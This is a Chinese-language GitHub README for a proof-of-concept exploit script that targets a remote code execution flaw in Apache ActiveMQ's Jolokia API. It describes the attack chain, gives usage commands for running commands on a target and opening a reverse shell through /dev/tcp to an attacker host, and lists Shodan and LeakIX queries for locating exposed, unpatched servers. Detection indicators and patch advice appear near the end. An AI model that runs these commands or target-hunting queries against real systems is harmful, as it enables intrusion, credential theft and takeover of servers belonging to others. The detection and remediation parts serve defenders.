KONDORDEVSECURITYCORP/CVE-2026-34197

GitHub: KONDORDEVSECURITYCORP/CVE-2026-34197

这是一个用于验证和利用 Apache ActiveMQ 中 CVE-2026-34197 远程代码执行漏洞的 PoC 攻击脚本。

Stars: 0 | Forks: 0

CVE-2026-34197 CVSS 9.8 RCE Python 3.8+

Apache ActiveMQ Jolokia Spring

CVE-2026-34197

Apache ActiveMQ 远程代码执行漏洞 (via Jolokia API)

Author Stars Forks Issues License

概述详情攻击流程快速开始使用方法狩猎与侦察检测修复建议

## 概述 **CVE-2026-34197** 是 **Apache ActiveMQ Classic** 中的一个严重的远程代码执行 (RCE) 漏洞,允许经过身份认证的攻击者通过 Web 控制台暴露的 Jolokia API 执行任意操作系统命令。 该漏洞已存在 **超过 13 年**,源于 Jolokia (HTTP-JMX 桥接)、ActiveMQ MBeans、网络连接器和 VM 传输之间的交互机制。 ## 漏洞详情
CVE IDCVE-2026-34197
Severity CVSS 3.1
TypeRemote Code Execution (RCE)
CWECWE-20 (Improper Input Validation) / CWE-94 (Code Injection)
AffectedActiveMQ Classic < 5.19.4 and 6.0.0 — 6.2.2
Patched5.19.4 / 6.2.3
Auth RequiredYes (default credentials admin:admin are common)
No Auth Needed6.0.0 — 6.1.1 (due to CVE-2024-32114)
Default Port8161 (web console)
## 攻击流程 ``` CVE-2026-34197 — Exploitation Chain ────────────────────────────────────────────────────────────── ATTACKER ACTIVEMQ SERVER ──────── ─────────────── │ │ [1] │── POST /api/jolokia/ ──────────────────>│ │ addNetworkConnector( │ │ vm://rce?brokerConfig= │ │ xbean:http://ATTACKER/payload.xml) │ │ │ │ [2] │── Creates VM broker │ │── Fetches remote XML │ │ [3] │<── GET /payload.xml ─────────────────────│ │── Serves malicious Spring XML ─────────>│ │ │ │ [4] │── Spring instantiates beans │ │── Runtime.exec(COMMAND) │ │── ** RCE ACHIEVED ** │ │ ``` ### 逐步拆解 | 步骤 | 操作 | 组件 | |:----:|--------|-----------| | **1** | 攻击者向 `/api/jolokia/` 发送 POST 请求,调用 Broker MBean 上的 `addNetworkConnector` | Jolokia API | | **2** | ActiveMQ 处理 `vm://` 传输 URI,并创建一个临时代理,其中 `brokerConfig` 指向一个远程 URL | VM Transport | | **3** | `xbean:` 方案触发从攻击者服务器下载 Spring XML 配置文件 | Spring / XBean | | **4** | Spring 实例化 XML 中的所有 bean,包括调用 `Runtime.getRuntime().exec()` 的 bean | Spring Context | ## 项目结构 ``` CVE-2026-34197/ ├── exploit.py # Main PoC exploit ├── payloads/ │ └── template.xml # Spring XML payload template ├── docker/ │ └── docker-compose.yml # Vulnerable lab environment ├── docs/ │ ├── HUNTING_GUIDE_EN.md # Target hunting guide (English) │ └── HUNTING_GUIDE_ES.md # Guía de búsqueda (Español) ├── LICENSE └── README.md ``` ## 快速开始 ### 前置条件 ``` # 需要 Python 3.8+ pip install requests ``` ### 实验环境 ``` cd docker docker-compose up -d # ActiveMQ Classic 5.18.6 (vulnerable) → localhost:8161 ``` ### 运行漏洞利用程序 ``` python exploit.py -t http://TARGET:8161 -l YOUR_IP -c "id" ``` ## 使用方法 ``` # 使用默认凭证 (admin:admin) 的基本用法 python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id" # 自定义凭证 python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "whoami" -u admin -p secret # 自定义 HTTP 监听端口 python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -lp 9999 -c "cat /etc/passwd" # 无认证模式 (ActiveMQ 6.0.0 — 6.1.1 通过 CVE-2024-32114) python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id" --no-auth # 反向 shell python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \ -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" ``` ### 参数 | 标志 | 描述 | 默认值 | |------|-------------|---------| | `-t, --target` | 目标基础 URL | *必填* | | `-l, --lhost` | 用于提供 Payload 的攻击者 IP | *必填* | | `-lp, --lport` | 本地 HTTP 服务器端口 | `8888` | | `-c, --command` | 要执行的 OS 命令 | *必填* | | `-u, --user` | Jolokia 用户名 | `admin` | | `-p, --password` | Jolokia 密码 | `admin` | | `--no-auth` | 跳过身份验证 | `false` | | `--broker-name` | 覆盖 Broker 名称 | *自动检测* | ## 狩猎与侦察 使用 **Shodan**、**LeakIX**、**FOFA**、**Censys**、**ZoomEye** 和 **Google Dorks** 发现暴露的 Apache ActiveMQ 实例的详细指南 —— 包括特定版本的 Dorks、Jolokia 检测、CLI/API 使用、目标验证步骤、SIEM/IDS 规则以及修复优先级。
English Español
### 快速 Shodan Dorks ``` "ActiveMQ" port:8161 # All exposed consoles http.title:"Apache ActiveMQ" # By page title "ActiveMQ" http.html:"jolokia" port:8161 # Jolokia exposed (attack vector) http.title:"Apache ActiveMQ" -http.html:"5.19.4" -http.html:"6.2.3" port:8161 # Exclude patched ``` ### 快速 LeakIX 查询 ``` +software:"Apache ActiveMQ" +port:"8161" # All exposed +banner:"jolokia" +banner:"ActiveMQ" # Jolokia exposed +software:"Apache ActiveMQ" +tag:"default-password" # Default creds ``` ### 目标验证 (单行命令) ``` # 通过 Jolokia 检查版本 curl -s -u admin:admin "http://TARGET:8161/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=localhost/BrokerVersion" ``` ## 检测 ### 日志指标 ``` INFO | Establishing network connection from vm://localhost to vm://rce?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml WARN | Could not connect to remote URI: vm://rce?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml ``` ### IOCs | 指标 | 描述 | |-----------|-------------| | POST `/api/jolokia/` 且包含 `addNetworkConnector` | 利用尝试 | | 来自 ActiveMQ 进程的出站 HTTP | Payload 下载 | | `vm://` URI 且包含 `brokerConfig=xbean:http` | 恶意连接器 | | Java/ActiveMQ 产生的异常子进程 | 命令执行 | ## 修复建议 | 优先级 | 行动 | |----------|--------| | **P0** | 升级到 ActiveMQ Classic **5.19.4** 或 **6.2.3** | | **P1** | 修改默认 Web 控制台凭据 | | **P2** | 限制对端口 **8161** 的网络访问 | | **P3** | 监控 Broker 日志中是否存在 `vm://` URI 且包含 `xbean:http` 模式 | ## 参考资料 | 资源 | 链接 | |----------|------| | NVD | [CVE-2026-34197](https://nvd.nist.gov/vuln/detail/CVE-2026-34197) | | Horizon3 Research | [技术分析](https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/) | | Apache 公告 | [安全公告](https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt) | | 相关 CVE | [CVE-2024-32114 — Jolokia No Auth](https://nvd.nist.gov/vuln/detail/CVE-2024-32114) | | 相关 CVE | [CVE-2023-46604 — OpenWire RCE](https://nvd.nist.gov/vuln/detail/CVE-2023-46604) | ## 免责声明

GitHub Telegram

KONDOR DEV SECURITY CORP 专注开发
MIT License © 2026

标签:Apache ActiveMQ, CISA项目, CSV导出, CVE-2026-34197, CVSS 9.8, Exploit, JMX, Jolokia API, LFI本地文件包含, PoC, Python, RCE, SDLC, Spring XML 注入, Spring 框架, 严重漏洞, 中间件漏洞, 序列化, 数据展示, 无后门, 暴力破解, 红队, 编程工具, 网络安全, 请求拦截, 远程代码执行, 逆向工具, 隐私保护, 零日漏洞